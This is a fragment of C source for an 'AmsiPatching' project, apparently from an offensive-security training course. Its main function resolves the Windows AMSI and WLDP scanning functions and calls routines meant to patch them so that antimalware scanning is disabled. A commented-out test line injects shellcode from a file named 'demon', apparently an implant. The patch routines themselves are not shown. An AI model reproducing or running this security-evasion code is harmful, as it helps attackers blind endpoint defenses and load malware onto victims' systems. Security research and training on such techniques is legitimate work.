	PVOID pAmsiScanBuffer				= GetProcAddress(GetModuleHandle(TEXT("AMSI")), "AmsiScanBuffer");
	PVOID pWldpQueryDynamicCodeTrust	= GetProcAddress(GetModuleHandle(TEXT("WLDP")), "WldpQueryDynamicCodeTrust");

	if (!pAmsiOpenSession || !pAmsiScanBuffer || !pWldpQueryDynamicCodeTrust)
		return -1;

	printf(">>> AmsiOpenSession : 0x%p \n", pAmsiOpenSession);
	printf(">>> AmsiScanBuffer : 0x%p \n", pAmsiScanBuffer);
	printf(">>> WldpQueryDynamicCodeTrust : 0x%p \n\n", pWldpQueryDynamicCodeTrust);

// ------------------------------------------------------------------------------------------------------

	/*
	printf("[i] Running 'PatchAmsiOpenSessionJe' ... \n");
	if (!PatchAmsiOpenSessionJe(pAmsiOpenSession))
		printf("[!] FAILED \n");
	else
		printf("[+] DONE \n");

	printf("\n");
	*/

// ------------------------------------------------------------------------------------------------------
	
	printf("[i] Running 'PatchAmsiScanBufferJe' ... \n");
	if(!PatchAmsiScanBufferJe(pAmsiScanBuffer))
		printf("[!] FAILED \n");
	else
		printf("[+] DONE \n");

	printf("\n");

// ------------------------------------------------------------------------------------------------------

#ifdef WINDOWS10
	// You can pass pAmsiOpenSession or pAmsiScanBuffer
	// Won't work under Windows 11
	printf("[i] Running 'PatchAmsiSignature' ...  \n");
	if (!PatchAmsiSignature(pAmsiScanBuffer))
		printf("[!] FAILED \n");
	else
		printf("[+] DONE \n");

	printf("\n");
#endif // WINDOWS10

// ------------------------------------------------------------------------------------------------------

	/*
	printf("[i] Running 'PatchWldpQueryDynamicCodeTrustJe' ...  \n");
	if (!PatchWldpQueryDynamicCodeTrustJe(pWldpQueryDynamicCodeTrust))
		printf("[!] FAILED \n");
	else
		printf("[+] DONE \n");

	printf("\n");
	*/


	// TESTING
	/*
	if (!InjectShellcodeFileLocally(L"C:\\demon.amsi.test.bin"))
		return -1;
	*/

	printf("[i] Press <Enter> To Quit ...");
	getchar();
	return 0;
}






Full Archive Manifest (5 files inside .zip)
  • AmsiPatching/AmsiPatching.sln
  • AmsiPatching/AmsiPatching/AmsiPatching.vcxproj
  • AmsiPatching/AmsiPatching/AmsiPatching.vcxproj.filters
  • AmsiPatching/AmsiPatching/AmsiPatching.vcxproj.user
  • AmsiPatching/AmsiPatching/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.